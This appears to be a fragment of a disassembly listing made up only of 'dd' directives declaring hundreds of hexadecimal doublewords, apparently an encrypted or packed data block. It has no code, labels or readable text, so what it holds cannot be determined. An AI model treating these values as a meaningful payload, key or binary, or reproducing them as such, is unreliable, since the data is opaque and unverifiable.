		dd 0CD942514h, 1A95F431h, 4F0B49B9h, 8D0C6306h,	6694AAC9h
		dd 51367C36h, 0D142544Fh, 5410BAA3h, 0C3C848AEh, 0F59C85C4h
		dd 0A61E0ACCh, 0D5DFDD66h, 0A7C26C1h, 13A7F524h, 39931126h
		dd 7E790231h, 9370D58Fh, 96A1709Eh, 0F8BB4627h,	99ECD134h
		dd 3F9C8041h, 50C7C331h, 0F9BC87ECh, 0ABA5226Dh, 37611977h
		dd 54F75AE7h, 9CD0D3C6h, 6AA5C3E4h, 1E51B0AEh, 0D62285D2h
		dd 3672EB8h, 3F9C9F37h,	57010CB6h, 6D11C47Ah, 2F8A7319h
		dd 0D21CD1CEh, 75712A3Bh, 2D3F8546h, 3F9C9FD1h,	12B5E4F9h
		dd 669A0CAAh, 5D329B36h, 0BEB81926h, 90896F16h,	5410BAE4h
		dd 86FF097Eh, 599C85C2h, 1A5BD6F1h, 0B9C97B4Ah,	7F3A49A2h
		dd 7010C021h, 0B6BC6C13h, 0FB8FDD12h, 1882F902h, 7317F415h
		dd 76C29A3Bh, 0FC765739h, 3F63081Ch, 50CB98B5h,	0F9BC87ECh
		dd 0ABA5226Dh, 2FC999A8h, 0B933C51h, 0DF2E9289h, 4D75BC4Eh
		dd 25465FD3h, 22056C0Dh, 0E4CF224Dh, 0E790C913h, 7F2194EDh
		dd 928B7689h, 7D056DA7h, 50C0CA8Eh, 3F9C9C5Bh, 6A5DE7AFh
		dd 0EC14941Fh, 0DEA63B6Ch, 0B597515Dh, 6E11CF1Ah, 6A0011CFh
		dd 0C0C2AFBAh, 2E374529h, 4732635Fh, 69BA0759h,	0ED95F437h
		dd 15375BD1h, 0F91CA950h, 0B9D64DD4h, 4D630F90h, 162E69F4h
		dd 445C9387h, 3B0D1896h, 3C857423h, 60E15CCEh, 0F1B3A6A0h
		dd 34DD66A6h, 0F980AA9h, 17059F5Eh, 28BB2D4Ch, 4D76CFBFh
		dd 4471D8C1h, 0F6E0A236h, 570BF8A7h, 5E0E197Ah,	0FFDC5F04h
		dd 8C2AA7B9h, 258B8619h, 0DF2E954Ah, 4D7B157Dh,	1DA6D3h
		dd 1C61D84Eh, 0B96DB16Bh, 1B5B5DB8h, 4D621E92h,	13709ECEh
		dd 3F9C9ECBh, 90F836A2h, 1E7A594h, 0E148486Dh, 1800F112h
		dd 9D3E85D3h, 63708A68h, 241A8ADDh, 5475A828h, 632F3BC8h
		dd 0F351ECADh, 2495F431h, 4F7AA737h, 5C5E6306h,	0BACAF838h
		dd 0E9FB9FA7h, 4D6FBB3Fh, 76235FD3h, 2454E43Ch,	1B508E49h
		dd 0A36059E2h, 7793A081h, 0F6708A7Ah, 0AB1D3269h, 0C9DB29D0h
		dd 22443EC1h, 0BFDECCBAh, 431E53A4h, 2DBB3BD3h,	0BCD46548h
		dd 2EC913B2h, 0EC158F18h, 3E1058E1h, 782B75B9h,	0ED6CBA48h
		dd 0DADDF018h, 4D6306D6h, 0F20F73E8h, 6A21331Ah, 25E7C422h
		dd 0CA3E85D4h, 34DE6B2Ch, 0ED06506h, 5C5DFA5h, 2EE574F7h
		dd 0EE470001h, 0B8306FFFh, 0C9D733D5h, 90CC80ADh, 0BEC075A6h
		dd 473385D7h, 976FB161h, 0E0945EECh, 5417E7E4h,	57CF77A1h
		dd 699C85DFh, 2A9E8461h, 485AAE5Ah, 0B8CBA3B2h,	402141B1h
		dd 860C1DA3h, 0BEC0DA2h, 28F22E72h, 3072404h, 3D31C10Ah
		dd 0C7086A9h, 3F63072Ch, 475AC6A5h, 0F2BC87ECh,	5BCAF01Bh
		dd 4B207193h, 0F25B5896h, 3FC331Ah, 4A3ACC0Dh, 0B6721190h
		dd 27F3AB31h, 6AA96950h, 0DD17E5AEh, 95C30F3Ah,	29A278Fh
		dd 8D056D31h, 6AAE89E6h, 0BFA5F6E2h, 3D0921A5h,	0E4A80D4Eh
		dd 189C85C9h, 0C6DFC5F4h, 37947D14h, 0B2C5AEBDh, 4753CF8Fh
		dd 0CB8B87ECh, 3E101C62h, 470C46B9h, 0BEC074AFh, 379B98FCh
		dd 8AC5ADD5h, 723675A2h, 73B8F67Dh, 0D2679B33h,	8BB7DF1h
		dd 0D7AD255Ch, 0F05EFBFCh, 47D4C6F5h, 0B9598FB4h, 0C2B56E12h
		dd 3F9E8071h, 0C7414804h, 3F9E831Bh, 0B32BA8C3h, 0E7821E21h
		dd 4D639437h, 1C48D3h, 11B9DE58h, 0E53DD875h, 0EF032009h
		dd 0AA3DD874h, 0ED7FC1A9h, 6AE95B1Ah, 1F46BFB8h, 4E32A7C1h
		dd 0AB6C9FBEh, 0E780F829h, 4D638F2Eh, 72943FD3h, 16F3FE83h
		dd 1EF624BAh, 81D35D9Ch, 0C8030A7h, 0D70DFE12h,	0C5FC38B9h
		dd 5745D78Eh, 6CABADF5h, 7C394E1h, 6A62A8E9h, 57B3741Ch
		dd 0D3BA3473h, 53FDF601h, 0DA997B69h, 3534B8FFh, 0B908B414h
		dd 23F7924Eh, 0D880534Bh, 13CD4C31h, 87233D96h,	75A53825h
		dd 0D4D61E33h, 0D6FE71D8h, 0AB5279CBh, 7CBB48C1h, 0F75C9A5Dh
		dd 3AB0EC4Bh, 23748EF5h, 83121F97h, 13D716DEh, 76ED8C47h
		dd 0E54E4AFh, 8248CE44h, 0CACF1B2Ch, 0D6AC1EEFh, 59B92ABBh
		dd 6D0EAA46h, 0FD35D9F9h, 0A03C6F88h, 82ABAC8Bh, 0A180B8E4h
		dd 13D9C57Bh, 8AE03C55h, 0F6B3EFFEh, 5860C0DAh,	0C6B3E611h
		dd 3EA61EDEh, 5AB8FF13h, 0B8D8EBB6h, 3E8C739Ch,	3FDB727Bh
		dd 7858E9C9h, 0F7A9D26h, 0AFEDB048h, 531EC97h, 4D96E862h
		dd 0D0068DD4h, 6F44E4B5h, 6B09FDF0h, 1FC5CD95h,	0E43496Bh
		dd 5590D948h, 0BAC24738h, 0ED3F3D0Fh, 0BDC5C554h, 0FD35D8B5h
		dd 0DA310EA9h, 4FA1ED01h, 1CABAD21h, 69461541h,	0E1D5FB6Ah
		dd 9E487B55h, 13CF2398h, 0E151A248h, 4564830Ch,	0A0E1A39h
		dd 9890C553h, 516BED52h, 75D1434Eh, 0D61C7F60h,	61A8149Bh
		dd 0D5DB6746h, 0FEE56E81h, 13CC8522h, 347F4848h, 605E9DFh
		dd 0C64DABF6h, 9009A380h, 0BFBCA067h, 3FB6F452h, 13CD4DCAh
		dd 67C39636h, 0FEC51EC5h, 0C5F762D3h, 0B69EAF78h, 0AF2D76Bh
		dd 1C5BAA5Ah, 107CB17Dh, 0A1D38DECh, 0C917A994h, 63B2A036h
		dd 13D5F17Eh, 0D60CAC47h, 7844D7AEh, 23ABAD21h,	9D0352EAh
		dd 0DAE97C02h, 15854F99h, 6D6BB029h, 0FF19948Ch, 8C1425EEh
		dd 0DB155846h, 4DBC68F5h, 0C9C93D9Ah, 0FD23263Dh, 357E4834h
		dd 0D15A47DAh, 0F6C5FBBCh, 0D12686B3h, 23994558h, 491EF0DEh
		dd 313BE4FEh, 1C0D5F28h, 0D2FC555h, 0EE41DC6Ah,	0EFDAC21h
		dd 7F5D5E6Ah, 0CBA14B4Ch, 0D4D43FD0h, 3037FFF8h, 4C03A9F0h
		dd 6FB37B68h, 0D6387252h, 6DAB2FC3h, 0E5FC287Bh, 8555D247h
		dd 0BB7FF6ACh, 1318860Fh, 0D0D0C555h, 0C415379Ch, 0FFE70D4h
		dd 0E66E0FBh, 0FC297448h, 26E596D9h, 9E2F573Ch,	272D5D6Fh
		dd 0F7BE153h, 16477448h, 0EAB4CA5Bh, 62B4F0EDh,	5026A23Ch
		dd 3380B014h, 55CC5AE5h, 81500533h, 1A32C554h, 0BC4EE2B0h
		dd 3F933621h, 42A38B16h, 0E0F45188h, 488AE15h, 0B632F73Fh
		dd 0FD35D8B9h, 7B63C5C8h, 4DAB3B0h, 6B63AB3Fh, 4DD7124Fh
		dd 62005B4Bh, 0B63D7B68h, 0AE9C7E0Fh, 0C149DD7Ah, 0E5CD67Bh
		dd 82ECA443h, 0FF404F66h, 2C6FE095h, 62EF884Bh,	13CD4DA5h
		dd 488A1FAh, 12BBBB22h,	929E1B8h, 4AB39C4Dh, 6F774450h
		dd 0DF045FB5h, 0E23B4CC8h, 0DDDD96D6h, 0AE326D60h, 0B63D3372h
		dd 13C367BAh, 0EBC76047h, 0E54E4AFh, 827AA443h,	0B4B7D234h
		dd 0E4C6E0C4h, 6BC7625Fh, 0DFE0007h, 9025C76Ah,	0DA2275F8h
		dd 4886BCEh, 0BE1A3C3Fh, 0B503D648h, 2C815C6Ch,	4B9BB3Ah
		dd 0A168EB3Fh, 0F6B3D625h, 93E5C554h, 0C9C96E3Eh, 532DE8Bh
		dd 0BB2B9D3Eh, 0C5AF9A11h
		dd 0F71252EFh, 1C2B7102h, 6F9C5147h, 14D38D1Ah,	0AE54588Ah
		dd 0A8DEF747h, 0EDDC8D0Fh, 8675C554h, 0FD35D8B5h, 0DA310EA9h
		dd 13CC15CEh, 2C86B248h, 1D011DF1h, 0DE90C54Eh,	13CE7CC2h
		dd 841E6848h, 7224423Eh, 1A576D1Ch, 0BB0E7B4Eh,	0E527993Fh
		dd 2E557669h, 0E6AE4166h, 24A059FAh, 1ACAE9A0h,	9BD17B4Eh
		dd 69128A6Ch, 830D34E9h, 2CFAC2E1h, 364770B0h, 1AB93000h
		dd 0CFDE612h, 0DF32C556h, 0A72357B6h, 15AAF86Ch, 0F4D7C964h
		dd 0F6FF16E6h, 3D5312D4h, 80D2D7D4h, 75EDA244h,	0F24A7453h
		dd 0F32F96DCh, 8209D47Eh, 5CD4BDAh, 3CA497F3h, 0BF12C76Ah
		dd 0A90B62EBh, 0E6800FA6h, 0FDC31E31h, 0BA40165Fh, 489F1EFh
		dd 0B1025D3Fh, 43887C24h, 7D940D0Fh, 0CEBC1E84h, 0A59111CBh
		dd 13CD815Ch, 0D638CB55h, 59B92ABBh, 6A31CB46h,	0D03712ABh
		dd 0F27B1FC5h, 0E5F4568Ch, 46464F47h, 0E5F5F9ECh, 0D5250247h
		dd 0BB77C69Ch, 13E7B60Fh, 9A60C555h, 0F9E862B3h, 7844D7AEh
		dd 23ABAD21h, 0D1902A28h, 2CFA3FD9h, 7F931B89h,	4569C74h
		dd 47A53B0Eh, 39C84390h, 53361A1h, 24B1811Dh, 0C01BDC82h
		dd 26677264h, 94777307h, 0FE2589EAh, 1683B520h,	5E41492Ah
		dd 31F6D822h, 51640533h, 5D8EB238h, 1332C4A7h, 0C7AA43Ah
		dd 0C6CFF7FAh, 59F0E79Ch, 543ADCEBh, 0DE6C0709h, 0BEF437A6h
		dd 47EB02h, 372D0CD2h, 7138733Dh, 60AF416Dh, 0CBD53CD1h
		dd 1EF624C1h, 0C98E8AD4h, 478473B7h, 63DBF5B4h,	5A9AC75Fh
		dd 990C0B1h, 7824995Eh,	1C581569h, 0B330587Dh, 0A1299685h
		dd 13D7927Ah, 0D5757755h, 0E213DFF9h, 0D9B19086h, 0DAF0317Ch
		dd 3E97D91Fh, 0E5816434h, 6269FCC7h, 68F822Eh, 21A3D620h
		dd 2659A0EEh, 0F02E8C3Bh, 942D7B54h, 0D407A286h, 0FD35D9E0h
		dd 21A35B85h, 0BE277EF4h, 0B976C392h, 5CE5739Ch, 0DF17889Fh
		dd 48839CDh, 0D5E56F3Fh, 840630B9h, 0AB77BB93h,	880C6405h
		dd 0D6AC7C4Ah, 59B92ABBh, 0A0ABCB46h, 3F32C554h, 854EE2B0h
		dd 0B84F9423h, 4B55739Ch, 227B656Ch, 0C7E0449Bh, 50D6CDCAh
		dd 0C6742050h, 0D4774D91h, 42EF73B7h, 6A29826Ah, 8BE7A54h
		dd 764FBFACh, 60A14B4Bh, 3C449AD5h, 8532C555h, 0BC4EE2AFh
		dd 489F2F1h, 4EBAF23Fh,	685EBE87h, 0D62FDE0Bh, 145768EBh
		dd 8A4F21E4h, 0D84F2AEh, 0C612C76Ah, 34594375h,	532DFB6h
		dd 10934834h, 12D9F35Eh, 9E76A9E8h, 1F4E4CDEh, 0E8C102CDh
		dd 0C210DBCBh, 4BE9A38Dh, 7B79BDCDh, 60E2B0E7h,	0BA3FA65Fh
		dd 7747B966h, 969413Dh,	0F8D9F72Eh, 1CF172BCh, 7E45163Ah
		dd 5FC21474h, 0F32F917Dh, 0C6CD6184h, 0E7289D60h, 0B1A07E78h
		dd 9ED3F86Fh, 9B63AC1Ch, 8442508Fh, 7E4C7DB7h, 0EF736B0Bh
		dd 3117A6E1h, 13CD191Eh, 0BB07217Ah, 99293BA9h,	88AA6137h
		dd 0CAC11D2Ch, 0EEF7C5CFh, 5887C034h, 7BBBCE49h, 265F1158h
		dd 2EB012E1h, 4FBFB0F3h, 13D6E63Bh, 747EE047h, 7844D7AEh
		dd 23ABAD21h, 738F2A28h, 850B3592h, 0AEDA543h, 488915Fh
		dd 0AE0A0C3Fh, 27760A8Ah, 0B27D3897h, 0FC59511Dh, 9A674668h
		dd 0E95BC0E2h, 45036ED3h, 4796A76Ah, 4372D3DEh,	8154733Dh
		dd 4E2CCF4h, 0F52DD63Fh, 1FDB91E6h, 0DDFA17CCh,	0A5911312h
		dd 13324635h, 0C81D5255h, 54C9F8A7h, 8FAA113Ah,	0CF236689h
		dd 93ABAC25h, 699BB3F7h, 411370D4h, 0FD342BC5h,	788B20A1h
		dd 0FD342EE8h, 0CAF2812h, 0E5D8C561h, 0AD3E0847h, 3D37EB6Ah
		dd 575B7E4h, 36EA6B83h,	910154EBh, 0E5CD9BDFh, 0E258C347h
		dd 0DB9F74EDh, 9916841Ch, 0F0519B5Dh, 20AC4CDEh, 2FF817DFh
		dd 0F24A733Ah, 0D95990F2h, 3D023B64h, 13CD19A6h, 30F1BDBh
		dd 0B7931B4Bh, 3CDE2917h, 0E8FECA71h, 0C7AA5C1h, 2DBCF205h
		dd 4BFEC51h, 118EBA3Fh,	4898552Bh, 80DCFA3Dh, 809EFAE8h
		dd 49318DCh, 65FC56BFh,	0C19318DCh, 0D71A5921h,	0AB1B3E5Ah
		dd 7C8E5578h, 0CAD77B68h, 133D4CF4h, 933FC555h,	1330FC3Eh
		dd 7F8F10FDh, 2C931B89h, 3D2AB727h, 9931B89h, 48F12002h
		dd 0F41B3E74h, 1332C5F3h, 554904A4h, 6E931B85h,	2770BD10h
		dd 0D6AD8EA4h, 5B882ABBh, 662EAE99h, 0C20A7C84h, 478D5C06h
		dd 530CBD11h, 6E0959A0h, 0C842FC3Dh, 0E9EA6C51h, 796CBFE6h
		dd 7B79BC2Bh, 3346EAFEh, 2027B9F0h, 53ABACB7h, 0BE26A895h
		dd 0A0344FF6h, 23B9D404h, 0CAA12B2Dh, 85FB3CD6h, 3E931A16h
		dd 0F54447C1h, 0DC72C07Ch, 0A73B0FA3h, 0A0E2B3ECh, 697EF9D8h
		dd 23F02C15h, 20B5581Ah, 0BB05577Eh, 0D03B65A9h, 1A8DFCC6h
		dd 217F6797h, 7332C54Fh, 24880293h, 0B2BAD499h,	0A92BA57Fh
		dd 6AB24DDAh, 91756958h, 166D56DFh, 0EAE027C1h,	0E5CACECFh
		dd 56CD4578h, 0F794286Bh, 5CD756Eh, 0D269A6Fh, 8B0EDA70h
		dd 0D666D079h, 0B7647D60h, 10940C8Bh, 52278815h, 51ABAC1Fh
		dd 76744550h, 0B8E8EF6h, 4AA84408h, 7A76874Ah, 5CE57B68h
		dd 4103A589h, 56407B68h, 0FA01139Ah, 0BF2D0532h, 2D32C554h
		dd 0BC4EE2B0h, 3F933621h, 4F336E6h, 96C253Fh, 51C3C8E6h
		dd 0D23DA058h, 71AF2BC7h, 8862F354h, 0E50D87Ah,	0F33A7548h
		dd 738429D6h, 0EAB8D1B0h, 7E2B6136h, 0BF039845h, 0A900E87Ch
		dd 0CCC12919h, 5894B9EFh, 99568B0Ch, 0A3B0F23h,	4F8D23CDh
		dd 0B1115C9Ch, 3CEB24DBh, 0E8C1256Bh, 0DAD38DEAh, 0F4094F8Fh
		dd 8EEDDE95h, 13DB7F51h, 0E826C355h, 86BE6A8Ch,	0AD8D3C7Bh
		dd 3E940620h, 136A5634h, 419D0CD8h, 35875994h, 0B2BAD483h
		dd 8D5F76EBh, 524544F1h, 0EC0DACF7h, 80497B54h,	82ECA392h
		dd 0DD5E4F66h, 0A30E2BBh, 743A6D9h, 0EEF5455Dh,	383A9582h
		dd 3A84FA01h, 2FA25BEh,	6B19A9B0h, 298E9E38h, 67A14D2Bh
		dd 80DCFBD4h, 709EFAE8h, 14931B85h, 0C4D9812Fh,	62C999A6h
		dd 0A06E0006h, 0E1B5F205h, 88A1A396h, 0F4675334h, 57A1079Eh
		dd 7C518A0Bh, 6F3B0A54h, 0CBECF16Dh, 11F38BEFh,	48BDF6D4h
		dd 7C876675h, 0AD9DF3D2h, 87A154D0h, 77464FB7h,	0DBC032h
		dd 6627B8A5h, 0C4F99949h, 7FC8CFE8h, 0E7FA1643h, 8348FF33h
		dd 2ED49051h, 75F19EE7h, 0FC1AC9D8h, 36B6D698h,	0B173D9ECh
		dd 6F95A66Fh, 0C659F18h, 1A2FF9D1h, 8155984Fh, 878CCCF4h
		dd 0FD2DD6B7h, 2CB77CAh, 0D1647718h, 2D9A2E9Fh,	3E803B6h
		dd 6172AD93h, 0E6603DE5h, 36B61FEBh, 0A8EEC2ECh, 3F81E3FAh
		dd 4292E303h, 0C72794EFh, 57C3CDCAh, 0C83639D5h, 5B8957C8h
		dd 0AEE559B8h, 0E6603C7Eh, 398EB6DEh, 94B4FBD7h, 1A517187h
		dd 984D11D9h, 9CA5DCE1h, 181447DEh, 8A041CE1h, 71CCCAACh
		dd 7FABBB4Dh, 2EBC5B14h, 0F353F7CAh, 0B10C7728h, 432592F6h
		dd 0D9E1E2D6h, 2DB14777h, 91F1973Dh, 3F4E7117h,	0DFF8BD14h
		dd 68DB4362h, 760DF767h, 0F6EDB1B0h, 854C13AAh,	0EF4124Eh
		dd 0B0A6B443h, 0FDB504ABh, 0E5CAF9CFh, 6085B640h, 740EB0CBh
		dd 0F4672976h, 575B1EB9h, 34E899E9h, 1436290Fh,	37843F02h
		dd 0B314AE99h, 0CCDE464Bh, 7A26CD61h, 877913BEh, 6001D0E2h
		dd 5D5AB0CBh, 70EB5719h, 9DC16CB8h, 6B497534h, 81A69167h
		dd 1332C551h, 0DE98295h, 9D2C43D4h, 0B63D7781h,	52892CFAh
		dd 0FEE5001Ah, 13E034A5h, 9FB3E9CAh, 2FAB97E0h,	27B5CF6Ah
		dd 0CA0F7988h, 9CEF880Dh, 13CD489Dh, 8FF4255h, 0C729D6D6h
		dd 64D866D1h, 8D7579A0h, 6432C409h, 0FBEB7950h,	3900EB71h
		dd 0AEE04307h, 6D46D9CBh
		dd 5ABAE1F6h, 84DB31Fh,	0A8D08FB1h, 4AB2FF4Fh, 0EDA9BA03h
		dd 0E482EC06h, 2855C554h, 2FCE44B1h, 1332C551h,	2019B60Dh
		dd 2F59B672h, 0F2FE150h, 1B0DF574h, 0FEDA12D0h,	9E2EF76Ah
		dd 64EB7950h, 89840EEh,	9C32C555h, 13CD488Eh, 2FA9C655h
		dd 2F09C109h, 26DCB05h,	1332C551h, 82C98ACAh, 44E17950h
		dd 1333A599h, 5086FA89h, 94CF88CDh, 0E464FFAEh,	7CCD0851h
		dd 18C52376h, 0F713DCDAh, 86181573h, 35CF6BDh, 0A5AC57E8h
		dd 0C62EC33Ah, 0F93E0016h, 670C35D5h, 1FAD6724h, 8D46FEh
		dd 0E3145261h, 0D709CB32h, 13325CF7h, 423B0555h, 0D8D1055Fh
		dd 3DCAB176h, 0AF210E0Bh, 0A0AA3649h, 2C3D6508h, 1F8D355h
		dd 0A91D0F8h, 6E096486h, 0F499AC1Ah, 73296482h,	958B6CA0h
		dd 0B1AF01B2h, 2C206506h, 11CAA5F7h, 3E997E7Ah,	79777B80h
		dd 166F71C2h, 3A37ACF1h, 2CCC7F5Ch, 0F5E3709Dh,	1CFCA149h
		dd 0CF9A1FFFh, 11CD1E99h, 441C7982h, 159DC520h,	2852AE7Eh
		dd 8A82C46Ah, 0DC04D913h, 0AF07C426h, 0EC9E8343h, 0F3F44F57h
		dd 0FB32C544h, 0E464E323h, 0E5AE96F7h, 0D699EC55h, 5DF44D8Dh
		dd 0C4CD1BB3h, 0E464E333h, 0E5AE92F7h, 0E82FEC55h, 41F44D8Ch
		dd 0C4CD1BB3h, 0E464E9D0h, 0E5AE0EF7h, 0E9ACEC55h, 35F44D8Ch
		dd 0C4CD1BB3h, 0E464E693h, 0E5AF8AF7h, 0FB59EC55h, 0B9F44D8Dh
		dd 0C4CD1BB2h, 0E464EC70h, 0E5AE26F7h, 0C4ADEC55h, 8DF44D8Dh
		dd 0C4CD1BB2h, 0E464EB82h, 0E5AFE2F7h, 0FE73EC55h, 71F44D8Dh
		dd 0C4CD1BB2h, 0E464EF0Dh, 0E5AC9EF7h, 0D172EC55h, 65F44D8Dh
		dd 0F4CD1BB2h, 1CF19A5Ah, 4B5312D1h, 4180B638h,	428A0493h
		dd 682ED091h, 0C52569A7h, 0C2B86598h, 1D9D30A7h, 535731h
		dd 0B6CC63C3h, 5CD78B6h, 166855C7h, 9919D56Ah, 0BA5A7B1Fh
		dd 488D321Fh, 1FA3049Bh, 80D25BB6h, 0D939A38Ch,	464F48C6h
		dd 29D1681Ch, 0B8E25F27h, 0DA99739Ch, 554761Ah,	27AD706Dh
		dd 6A997CEAh, 0E9295298h, 533D43Bh, 3F8B35A9h, 0CEADDD03h
		dd 0E53C6BD2h, 3D1B6147h, 0BABF7E80h, 1D79C50Fh, 22ABC555h
		dd 0E5341977h, 0AE238447h, 0D407A293h, 0FD35D9E0h, 63005B85h
		dd 0FD35D9F3h, 3F8DB5F6h, 4CAB3716h, 0FEFD5DCCh, 6BC16D81h
		dd 974AECBFh, 0BBE935F6h, 0DA91B817h, 0E5F8D5CFh, 0EB31F247h
		dd 0E5F87506h, 233C1047h, 0D62FDFF2h, 0E5230ED3h, 2411CE98h
		dd 6C34915Ah, 68A9B855h, 0AD2C8699h, 13CC193Eh,	0D6ACA955h
		dd 1C27B8A5h, 3975A641h, 0CCCDFD6Ch, 83E93FD8h,	743D7781h
		dd 0D134774Eh, 3A6CAC4h, 9F1C580Ah, 0FD35D887h,	0A81B9F2h
		dd 5CB85910h, 9505577Ah, 48512E3h, 4923773Fh, 64AB80A1h
		dd 5548D347h, 37ABABFDh, 47F3260Ch, 6537A405h, 0DFE3D41Fh
		dd 0CC813B7Ah, 0AFA29044h, 0E3439C65h, 7B4871DFh, 450CE168h
		dd 3B19C3E3h, 87ABAB27h, 3140173Bh, 5308F60h, 8369BE59h
		dd 0B15C66C6h, 80397B66h, 0DFCEEC42h, 0B0A2663Ch, 0B35E1DDCh
		dd 21F19A3Ch, 0E28B1409h, 123B0FADh, 4ECCEFB2h,	0A98A384h
		dd 0D4691C2Eh, 0EFFD72D6h, 5614ED1h, 1A85C2A8h,	828303B6h
		dd 0FF32C543h, 0C7033756h, 0B50AD80Ch, 14362903h, 0DC2F007h
		dd 0DCC6CC75h, 2073BD73h, 950D02A5h, 98EAD5B3h,	93B07A3Ch
		dd 846EB5DEh, 5CD777Ah,	3C057653h, 0F133CD70h, 0D491AC5h
		dd 23B9BF8Dh, 37B9FE3Fh, 54ABACB3h, 8A70016Fh, 4AA8447Fh
		dd 7A76874Ah, 5CE57B68h, 0A3BF6DECh, 0FA180976h, 0E6F072Eh
		dd 2F69D848h, 8A118C0Ch, 0B73B7E96h, 0CB9318F2h, 0DAFCFDEFh
		dd 4CAC0173h, 81EFDE25h, 1CF17E0Fh, 0D32C555h, 0BF2AB60Ch
		dd 7C2DF048h, 0A30BBE51h, 0FAC6532Ch, 1ABACA7h,	467EA6D3h
		dd 25576D1Ch, 0BB0E733Dh, 0E527993Fh, 0A0237669h, 3B8FF973h
		dd 65254DCDh, 2A7E37C3h, 0DDE7B68h, 74E6A976h, 9B7D784Eh
		dd 0A1E18BE5h, 4B6AAF76h, 0A0208406h, 3B87D204h, 292F43C7h
		dd 0F5C4C06Fh, 264D5E48h, 908F8C3Bh, 0D1D8A383h, 0E0CBF9CEh
		dd 2C85524Dh, 685D1CBEh, 626B9E03h, 0FA5C181Bh,	99C760E7h
		dd 0A56F1609h, 38800EA9h, 94FC67D5h, 0C169DB52h, 13CD405Fh
		dd 388C056Eh, 16BF8F16h, 0FD2CB40Ch, 0E54E8B1h,	637EF044h
		dd 0AB7013B9h, 0D6377334h, 0F9ABC7C3h, 0BACE6BCCh, 0C239376Eh
		dd 13A663D6h, 7336447h,	0D8A99FAFh, 3B1A40BEh, 0C5FC4529h
		dd 0DC6773B7h, 5F9A8224h, 5AE75A20h, 4FA2FA3Dh,	4EAE63Bh
		dd 0B95E03Fh, 0DBC8A17h, 827AA30Ah, 0DF675334h,	8438E2B9h
		dd 0D4A92B84h, 0AE074ECCh, 308587F3h, 0C2B86592h, 0B1390A6Fh
		dd 0BB90DE6Eh, 0B2240F93h, 81D35B3Dh, 0FD53A93Fh, 22E90E9Eh
		dd 530B66Dh, 0C2B86599h, 41518B25h, 0E1DD9ED6h,	484D11D8h
		dd 0F4E7521Bh, 0B2BBC6B2h, 0A36BDFEh, 0A809F8FEh, 0AE55EA4Dh
		dd 15BA17F3h, 37878FB0h, 0AAB116EEh, 0F8FCAE3Bh, 2241DDBh
		dd 0C269EDD6h, 0E4815C6Ch, 0E1A14BCBh, 929C87B9h, 8F32C559h
		dd 0D7D36746h, 0C515099Ch, 0A407D913h, 1DAD2016h, 0A3D6FC05h
		dd 3020ED03h, 25228915h, 0A81A05A4h, 6C60AAACh,	947FE54Eh
		dd 5CD7D8Ah, 3C15A743h,	0C612C76Ah, 95594375h, 4BE40F8h
		dd 1B1023Fh, 733DE9A0h,	13277B68h, 123BC65Fh, 2434E68Dh
		dd 69FF505Ch, 14520C6Ah, 1249E512h, 23ED9682h, 5EF9463Ah
		dd 0DC3780B0h, 5EF969D0h, 2B1593B0h, 3851DE6Fh,	94078267h
		dd 0F3052B6h, 0E26D8B65h, 0F632C553h, 6BE758AEh, 13407121h
		dd 0D1317DBAh, 0B8243EBEh, 9831739Ch, 22C06D1Ch, 0A3DF02C5h
		dd 530C3B1h, 0F9C5D930h, 0AA931B4Fh, 0DB08A38Ch, 0D6AC2F19h
		dd 530C33Ch, 8D81CDCCh,	16931B4Fh, 0C3DDC1D9h, 85326D60h
		dd 49D89A75h, 1932C557h, 5404601Fh, 0A24AF66Eh,	41DF4E27h
		dd 0D8ABC02Ch, 5322BACh, 84577839h, 0C53B70D4h,	0E473AECEh
		dd 0BE74B3F7h, 53289A4h, 2FA8C1C1h, 0E3C6CC71h,	98E48039h
		dd 0FA91FC94h, 532B942h, 0E555A58Bh, 897DC158h,	69B702CDh
		dd 965CE959h, 684B4B7Dh, 7AD81452h, 360BD7DAh, 0E72BA386h
		dd 827AA345h, 12C11D2Ch, 0EBD89ACEh, 0C9B51020h, 389A7BF2h
		dd 74E48B16h, 166BE680h, 291649E5h, 813B3C76h, 0B165155Dh
		dd 7A9AA375h, 1074A205h, 0C003D684h, 0DE05060Ch, 954217C2h
		dd 0EFAC70B7h, 15A0F456h, 4C28A8A2h, 8875C74Ah,	0EC2DB4F8h
		dd 30F6208Ch, 0F5DF1AF6h, 6D31C554h, 0AFF73275h, 669E8403h
		dd 4F9A5528h, 43B6FD9Ch, 58959940h, 941623F5h, 0A9390B98h
		dd 6CAE3CA7h, 8ED43A30h, 0A03C6F87h, 8290C546h,	0EBE88535h
		dd 36ABAC8Bh, 6417D286h, 5CD497Dh, 0D0D087F4h, 0D21834A5h
		dd 0A5665127h, 0EA96DD06h, 0D9C1CC0h, 8AF4FCA5h, 32CE2BC2h
		dd 0F5BD3B00h, 4D11C554h, 0F49124Eh, 0C748E5E4h, 2878B589h
		dd 0AA025C7Ch, 3974791Fh, 0C5F4C0D5h, 0C36AAB78h, 1D8F5C07h
		dd 7B55811h, 819DF1E8h,	2290C547h, 0D692E30Eh, 0B5BCFDBBh
		dd 0D47DBC5Bh, 0F1EE76CCh, 0B9ABABFEh, 5AB6F5B5h, 7470A3F3h
		dd 1D4F0AE2h, 97730F7Eh, 13CD488Eh, 0B870995h, 0C64C0BBDh
		dd 15A61EDEh, 8DE15B78h, 218F1159h, 5390C53Ah, 0D270527Ah
		dd 7951D394h, 9C417158h, 0FE5747E1h, 1FBB32BBh,	0DB737B55h
		dd 8DCD8037h, 0D3B3312h, 6AB637D2h, 0C823DF20h,	13D47883h
		dd 0E826C355h, 86BE6A8Ch, 0AD8D3C7Bh, 3E940620h, 136A5634h
		dd 419D0CD8h, 35875994h, 0B2BAD483h, 8D5F76EBh,	524544F1h
		dd 2E0DACF7h, 80497B55h
		dd 827AA392h, 0F4675334h, 38EECF9Eh, 0D47C7353h, 1D0C10DCh
		dd 3F2E5B84h, 5C32C551h, 4887C00h, 0E76A823Fh, 0A71BAFAh
		dd 5BE56E7Ah, 13D92652h, 6E4A3747h, 921C97FAh, 8B1D2CF9h
		dd 0E02799B7h, 6AB0ED52h, 0D5779342h, 7ED4C7ACh, 786BEE3Bh
		dd 364ED75Ch, 5321432h,	13E34348h, 3D26E40Fh, 591B9B0h
		dd 1A886F63h, 0F990F5CBh, 0EF32C53Ch, 0B773062Dh, 0A53528FCh
		dd 4A7F973h, 0C632C077h, 0CE39C65h, 90038D64h, 851DD2B4h
		dd 827AA543h, 0C340414Ch, 921905EEh, 5CD7BEAh, 3C3547E3h
		dd 0B812C76Ah, 0CF3C0E9Dh, 48864DDh, 8B157F3Fh,	0B53D0F99h
